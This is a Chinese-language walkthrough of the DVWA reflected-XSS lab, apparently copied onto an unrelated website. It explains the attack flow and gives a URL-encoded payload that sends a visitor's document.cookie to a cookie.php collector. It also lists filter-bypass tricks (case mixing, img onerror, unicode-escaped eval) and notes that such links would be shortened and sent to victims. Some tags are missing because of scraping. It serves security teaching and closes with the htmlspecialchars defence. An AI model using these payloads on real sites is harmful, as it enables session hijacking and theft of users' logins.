DVWA |
您所在的位置:网站首页 › dvwa靶场详解 › DVWA |
一)XSS(Reflected)介绍: 反射型xss(非持久型):需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。特点:弹窗警告、广告;javascript;在浏览器中执行。 通过Web站点漏洞,向客户交付恶意脚本代码,实现对客户端的攻击;恶意攻击者往Web页面里插入恶意的 Script 代码,当用户浏览该页面时,嵌入其中 Web 里面的 Script 代码就会被执行,从而达到恶意攻击用户的目的;注入客户端脚本代码、盗取cookie、重定向等。 二)实际中实现流程: 1)攻击者向服务器端注入一段js代码 2)服务器端响应攻击者一个带有js代码的页面 3)攻击者向普通用户发送带有js代码的页面,诱使用户点击页面 4)用户点击攻击者所发送的页面,页面自动运行js代码,获取用户cookie,并发送给攻击者三)实际操作: 正常输入一个用户名: DVWA——XSS(Reflected)——low 核心源码: 源码解析: 1)array_key_exists检查数组中是否有指定的键名 2)X-XSS-Protection: 1强制XSS保护(如果XSS保护被用户禁用,则有用) 0禁用XSS保护可以看到,low级别的代码只是判断了name参数是否为空,如果不为空的话就直接打印出来,并没有对name参数做任何的过滤和检查,没用进行任何的对XSS攻击的防御措施,存在非常明显的XSS漏洞,用户输入什么都会被执行。 方法一: 输入 alert('hack') 的结果:
方法二: 1)用alert进行弹窗测试验证是否存在XSS: alert('hack')
2)利用XSS获取cookie 编写一个cookie.php文档用于获取页面的cookie,放置在一个指定的目录下(可以尝试放在网站的根目录之外的路径下看是否有效)文档内容如下: 接着编写 js 代码(意思就是利用本地的cookie.php这个文件获取cookie,要注意本地的地址要写对。)将页面的cookie发送到cookie.php中 1)document.location="http://localhost/dvwa/cookie.php?cookie="+document.cookie; 注:前面我们只是利用alert('hack')其实现一个简单的弹窗并没 有进一步加以利用,此处我们构造一句JS去获取目标的cookie,因为要将构造的要对上面的编写的JS代码进行URL转码: http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%E2%80%9Dhttp%3A%2F%2Flocalhost%2Fdvwa%2Fcookie.php%3Fcookie%3D%E2%80%9D%2Bdocument.cookie%3B%3C%2Fscript%3E# 解析:1)http://localhost/dvwa/vulnerabilities/xss_r/?name= ——是我们自己搭建的网站(dvwa)的XSS(Reflected)的路径。 2)%3Cscript%3Edocument.location%3D%E2%80%9Dhttp%3A%2F%2Flocalhost%2Fdvwa%2Fcookie.php%3Fcookie%3D%E2%80%9D%2Bdocument.cookie%3B%3C%2Fscript%3E# ——是我们构造的JS代码(原本输入于id框中alert('hack') 变成了document.location="http://localhost/dvwa/cookie.php?cookie="+document.cookie; 并进行了url编码)。在实际中会将此url变换成短链接并放置到公网(或目标服务器)中,等待目标用户点击此链接,一旦目标用户点击,那么攻击者就可以获取他的cookie并将cookie保存到攻击者服务器指定路径下的cookie.txt中。 在自己搭建的环境中可以直接将整个编码后的url复制粘贴到地址栏进行访问,也可以将编码后的JS代码(url的后半段)在框中输入。最终页面跳转,说明js代码执行成功: 访问登陆页面: 元素可定义预格式化的文本。被包围在 pre 元素中的文本通常会保留空格和换行符。而文本也会呈现为等宽字体。 可以看到,medium级别的代码只是在low级别上增加了对于的过滤,把 替换为空,然而并没有什么用,我们可以直接采用以下几种方式绕过。 方法一:(大小写绕过) alert('hack') alert('hack')输入 alert('hack') 结果: 此时通过 右键——查看网页源代码 可以在网页前端代码发现刚刚输入的JS代码已经被写入了: 如果任然直接输入 alert('hack') 会发现alert语句没有被执行,因为不再被当成标签而被过滤了: 方法三:(使用非标签的其他标签) 1) 2) 3)语句解析:只要src的值(图片)找不到就一定会发生错误,那么onerror的代码得到了执行: 图 方法四:(关键字编码) 有些时候服务器会对代码中关键字进行过滤(如alert),我们可以尝试将关键字进行unicode编码(但是直接把编码后的语句输入是不会起作用的),再将编码后的放在eval()会将编码后的语句解码后再执行: 将alert(“D-Rose”)进行unicode编码: \u0061\u006c\u0065\u0072\u0074("D-Rose")构建出来的语句如下: eval(\u0061\u006c\u0065\u0072\u0074("D-Rose") )成功弹窗: 可以看到,high级别的代码使用了正则表达式直接把 前面所有字符被过滤:
方法一: 输入
可以看出,impossible级别的代码先判断name是否为空,不为空的话然后验证其token,来防范CSRF攻击。然后再用htmlspecialchars函数将name中的预定义字符 “” (大于)转换成html实体,这样就防止了我们填入标签。 当我们输入 alert('hack') 时,因为 htmlspecialchars 函数会将 < 和 > 转换成html实体,并且${name}取的是$name的值,然后包围在标签中被打印出来,所以我们插入的语句并不会被执行: 此时通过 右键——查看网页源代码 可以在网页前端代码发现刚刚输入的JS代码并没有成功的写入。 四)参考文献: DVWA–反射型XSS(Reflected)攻略详解 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |